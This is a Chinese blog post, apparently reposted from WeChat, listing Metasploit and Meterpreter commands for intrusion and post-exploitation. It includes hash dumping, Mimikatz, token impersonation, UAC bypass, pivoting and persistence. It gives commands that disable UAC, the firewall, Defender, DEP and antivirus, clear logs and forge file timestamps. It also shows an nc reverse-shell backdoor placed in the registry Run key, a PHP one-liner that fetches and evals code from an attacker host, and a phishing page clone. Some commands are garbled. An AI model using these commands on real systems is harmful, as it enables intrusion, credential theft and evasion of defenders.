MSF常用命令梳理

  • A+
所属分类:安全文章
MSF常用命令梳理

点击上方蓝字关注我们



  MSF常用命令梳理


payload

1. Single:只有一段代码的payload

2. Stages: 只用来网络连接,比较小

3. Stager: 下载目的payload,比较小

Auxiliary

             用来扫描,信息收集,枚举指纹探测。

encoders

             主要对payload加密,防查杀

Nops

             提高payload的稳定性和大小。

exploit

             用来漏洞利用。

命令

1. msfupdate更新msf

2. help 查看帮助,后面可以加上指定的命令

3. exit 退出

4. msfconsole的-r参数可以指定一个资源脚本文件

5. banner 查看banner信息

6. connect 类似于msf的nc

7. show XXX 查看模块的可用状态,在具体模块里面也是可以使用show命令

8. search xxx 搜索模块

1. name:搜索名称包含的

2. platform:搜索平台

3. cve:搜索cve

9. use 进入某个模块

1. use下面的:

2. info查看信息

3. show options 查看参数

4. show target 展示目标

5. show payloads 展示适用于当前漏洞的payload

6. check 只是检测一下(大部分没有)

7. back 返回上一层

8. set 设置值

1. target 设置目标系统

2. payloads 设置payload

10. db_

1. db_status,查看连接状态

2. db_nmap 使用namp扫描,将信息保存下来

3. hosts 查看nmap扫描的结果 -s 查找 -c 查看列

11. creds 查看报出来的密码

12. vlun 查看密码

13. setg 全局设置(只能在当前会话中有用,除非你要save了)

14. run/exploit 执行当前模块

1. -j 参数后台方式执行

2. 分为Activity和Passive

15. jobs 查看当前的任务

16. sessions 查看当前的shell连接

1. -i 进入session 后面指定session 编号

17. load

1. 加载插件,例如load openvas

2. unload nessus 取消加载插件

18. loadpath 加载自己写的插件

19. route 通过指定session路由(通过得到的session入侵内网)

20. irb:开发的接口

21. resource 加载资源文件

22. payload也是可以单独使用,然后使用generate生成一个payload,

1. -b 指定坏字符,msf会智能选择encode

2. -e 指定encode

3. -i 编码次数

4. -k 新的进程

5. -x 新的模板

6. -t 输出类型

7. -f 输出文件

8. -s 加指定个数的nop

23. Meterpreter是比较高级的shell

1. help 查看命令

2. background 返回上一级

3. pwd 查看目录

4. dir和ls都是查看目录

5. cat 查看文件

6. mkdir 创建目录

7. rmdir 删除目录

8. mv,rm 移动,删除

9. edit 编辑(类似于vi)

10. lpwd 当前我们msf的目录

11. lcd 移动msf执行的目录

12. run 执行命令

13. bgrun 后台命令

1. tab查看支持的一些命令

2. 通过bgrun XXX执行就可以了

14. clearev清除日志

15. download 下载到lpwd的目录下

16. upload 上传(Windows下的目录需要注意需要两个,防止转义)

17. execute -f 命令 -i -h(执行命令) -i 交互 -h 隐藏

18. ps查看进程

19. getuid 查看当前的账号

20. gesystem 强制转换为system

21. getprivs 查看权限

22. getproxy 获取代理

23. getpid 查看注入的进程

24. migrate 迁移进程 migrate pid

25. hashdump dump下来hash值

26. sysinfo 查看系统信息

27. kill 杀死进程

28. shell 获取操作系统的shell

29. show_mount 查看分区

30. search -f win.ini 查找文件

31. netstat 查看开放的端口和连接

32. arp 查看缓存

33. route 查看路由表

34. ldletime 查看空闲时间

35. resource 调用资源文件(就是一些指令)

36. record_mic 记录麦克风

37. webcam_list 列举摄像头

38. web_snap -i 1 -v false 查看摄像头

39. python_execute "" 执行原生的python代码(无需环境)

40. 我们需要先load python 进来

41. python_import -f xxx.py 导入py代码

42. msfconsole -x "" 一条命令执行

24. MSF的扫描

1. 使用内置的nmap:db_nmap 192.168.209.1

2. auxilary模块的使用方法和exploit模块的使用方法类似

3. 有的时候我们需要提供session(通过background返回去)

4. 如果提示Known bug in WMI query, try migrating to another process 迁移到另一个进程再次尝试

5. 小知识:mssql端口号可能不是1433,他可能是个随机的数,我们可以通过1434这个端口查询出真是的端口号。

25. WMAP插件(自动扫描msf中的http模块)

1. load wmap

2. wmap_sites -a http://192.168.209.1

3. -l 查看任务列表

4. wmap_targets -t http://192.168.209.1/test

5. wmap_run -e执行

26. 和扫描器配合

1. openvas/nessus/nessus

1. 使用load openvas

1. 使用方法比较简单,-h看看就知道了,这里不记录了

2. 使用openvas/nessus导出的nbe文件(db_import)

27. 客户端漏洞

1. 使用存在漏洞的客户端进行入侵

1. 例如使用低版本的IE访问某些页面就会被入侵

2. 使用存在漏洞的pdf阅读器会被入侵,msf支持生成含有payload的pdf

3. 通过flash进行入侵

4. brewser_autopwn2这个模块集成了好用的浏览器漏洞模块,一运行相当于测试了好多的模块

5. jre也是可能存在漏洞

6. 安卓中也是payload在msf有的。

7. office中的宏插入vbs感染计算机。

28. 拥有shell之后进行后渗透测试阶段的操作

1. Meterpreter的shell

2. load priv 加载提权插件

3. getsystem提权提权,如果不行的话呢很可能是UAC的访问控制

4. local目录下的模块是提权用的

5. ask模块是用来得到UAC允许的

1. set payload xxx(与之前一样的payload)

2. set filename xxx 设置一个文件名称

3. 然后set session id 设置拿来的session

4. exploit之后会得到一个经过UAC访问控制的session,之后我们就可以getsystem

6. bypassuac模块

1. set session id 设置一个Session

2. set payload xxx和上面一个一样,有一些别的没记录,看一下就知道了。

3. 这个模块就不会用来用户确定UAC权限的了。

4. 也是可以获得UAC允许的session

7. bypassuac_injection模块

1. 这个是通过DLL注入进去的,操作的话呢还是差不多的。

8. 通过漏洞进行账号的提权

1. 13_053/13_081/13_097/ppr_flatten_tcp(一些杂项没有写)

1. set payload

2. set session id

3. exploit

4. 这个时候会利用漏洞提升权限

9. vncinject这个payload是图形化的VNCshell

1. ViewOnly这个参数改为no的话呢,你就可以进行操作了

2. 这个payload不是所有多可以使用的

10. 关闭UAC

            1.

cmd.exe /k %windir%System32reg.exe ADD HKLMSOF TWAREMicrosoftWindowsCurrentVersionPoliciesSystem N EnableLUA /t REG DWORD /d0 /f cmd.exe /k %windir%System32reg.exe ADD HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem /N LocalAccountTokenFilterPolicy /t REG DWORD/d1 f


            2. 然后重启计算机

11. 闭防火墙:需要管理员或system权限 netsh advfirewall set allprofiles state off

12. 关闭Windefend:net stop windefend

13. Bitlocker 操盘加密:manage-bde -off C关闭C盘加密manage-bde -status C查看C盘加密状态

14. 关闭DEP:bcdedit.exe /set {current} nxAlwaysOff

15. Meterpreter中使用run killav关闭常见的杀毒软件或者run post/windows/manage/killav 

16.开启远程桌面服务 

run post/windows/manage/enable. rdp

第二种方法

run getgui -e run getgui -u yuanfh -p pass run multi console. command -rC clean up 201 60824.1855.rc

17. 让看远程桌面:screenshot

18. use espia 然后 screengraby

19. Token:

1. 分类:

1. 交互的Token(3389之类的)

2. 非交互的Token(smb文件共享之类的)

2. 注销的交互token会变成非交互的token,权限并没有改变

3. 通过域管理员遗留的token,我们利用,然后进行管理

4. load incognito 加载这个插件

5. list token 列举token(需要域管理员访问过我们)

6.impersonate_token LABadministrator (是取消转义,后面的是我们通过列举token得到的名称)

7. 然后我们就获取到了域管理权限

8. execute -f cmd.exe -i -t -t 使用我们的token,-i是交互,-f是命令

9. 然后我们就有域管理员的的权限

10. 使用本机的漏洞进行提权:ms_10_015,通过已有的session通过遗留的token进行提权

20.添加注册表(添加nc自动启动):

upload /usr/share/windows binaries/nc.exe C:lwindows\system32 reg enumkey -k HKLMsoftwarelmicrosoftwindowslcurrentversionrun reg setval -k HKLMsoftwarelmicrosoftwindows\currentversion\run -V nc -d 'C:windowssystem32nc.exe -Ldp 444 -e cmd.exe' reg queryval -k HKLMsoftwarelmicrosoftwindows\currentversion\Run -V nc

21.开启防火墙策略:netsh firewall add portopening TCP 444 "test" ENABLE ALL

22. 抓包:使用meterpreter的命令

1. 使用命令:sniffer_start 1选择抓包的网卡编号,可以通过:sniffer_interfaces进行获取

2. 使用:sniffer_dump 1 1.cap进行dump我们的数据包

3. 需要注意的是我们抓包的缓冲区是有限的,所以我们要及时dump

4. 这个智能的是不会抓取Meterpreter自己发送的数据包

5. psnuffle这个是对之前的cap文件进行分析,但是还是wireshark会比较好一些

23. 文件搜索

1. search d- c:\ -f *.ini

24. 密码破解

1. 首先我嗯需要通过Meterpreter获取到hash

2. 然后我们使用:use post/windows/gather/hashdump

3. 然后设置我们的session

4. 然后exploit就可以了,几句可以获得hash了

5. 然后我们使用:auxilary/analyze/jtr_crack_fast

6. 直接run就好了

7. 这个只是判断一些简单的密码时候否和我hash相匹配

25. 文件的MAC时间(Modified【修改文件内容】 / Accessed【访问时间】 / Changed【权限时间修改】)

1. touch -d "5 days ago" 1.txt将访问的时间修改文件的时间提前五天,-t 是直接修改时间戳

2. stat 1.txt查看MAC时间状态

3. Meterpreter实现修改时间

1. timestomp -v 1.txt (MACE的E 是文件扇区数据修改时间)

2. -z(-m -a -c -e) 指定时间

3. -b 设置时间改为空

4. -r 是递归

26. Pivoting 跳板

1. run autoroute -s 1.1.1.10/24进行路由转发

2. 使用protfwd:

1. portwfwd -add -L 1.1.1.0-l 3389 -r 2.1.1.11 -p 3389将自己的3389和2.1.1.11中间做了隧道

27. handler模块中的exitonsession设置为false的话呢是接收到session的话呢是不会退出的。

1. set AutoRunScript migrate -n explore.exe这段命令是session一来自动转移

28. POST模块

1. 扩大战果的模块

2. run post/windwos/gather/credentials/credential_colltor

3. post的模块大部分都是这样子的扫描查看信息的,在我们的session中

4. run post/multi/recon/local exploit_ suggester

1. 自动帮我们侦查本地提权的漏洞(多个)

5. set AutoRunScript post/windows/gather/dumplist 自动执行查看用户最近使用文档(这个需要我们先转移用户)

6. InitalAuotoRunScript 在AutoRunScript执行之前运行

7. Meterpreter中:set hostsedit -e 1.1.1.1,www.baidu.com修改host,会自动清除缓存(缓存相对host优先级高)

1. run winenum查看Windows的信息(可能需要高权限)

29. 持久shell

1. run metsvc -A(这个会写文件,安装一个服务)

2. use exploit/multi/handler

3. set payload windwos/metsvc_bind_tcp

4. set rhost 192.168.209.129

5. set lport 3333

6. 这种相对不好用,下面的好用

7. run persistence -X -r 192.168.209.129 -p 4444 -i 10 下次重启自动启动,延迟10s启动

30. Mimikatz

1. load mimikatz

2. msv 查看用户信息

3. kerberos 读取内存中的登录密码

4. mimikatz_command -f modulename

31.还可以使用PHP脚本生成的shell反弹连接msf

1. handler中使用和之前一样的使用payload:php/meterpreter/reverse_tcp

32.Web Delivery

1. 代码执行漏洞的利用

2. use exploit/multi/script/web_deliery

3. set tagert PHP(php,python...)

4. payload:php/meterpreter/reverse_tcp

5. 然后我们会生成一个php命令,目标有代码执行,我们就让他执行

6. 命令类似于:php -d allow url fopen=true -r "eval(file get_ contents( 'http://192.168.21.90: 8080/'));"

7. 然后就会反弹连接我们的msf

33. 可以使用hidden的绑定

1. 就是只有我们连接了才会开放端口,我们不连接的话呢是不会开启的

34. armitage中的find attack之寻找可用的端口对应的模块,hail是全部检测下。

35. 社会工程学

1. setooklit

2. 使用社会工程学攻击

3. Wbesit attack vectors

4. 选择身份验证的攻击

5. 这个会克隆一个URL,然后接受表单

6. 写到本机上面,最后跳转到真正的页面

7. 还可以通过邮箱进行攻击

 



往期推荐



ARP欺骗

【Cheetah语言】缓冲区溢出

【Cheetah语言】Cheetah语言编写验证码识别爆破脚本


 

MSF常用命令梳理

点个在看你最好看


本文始发于微信公众号(云剑侠心):MSF常用命令梳理

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: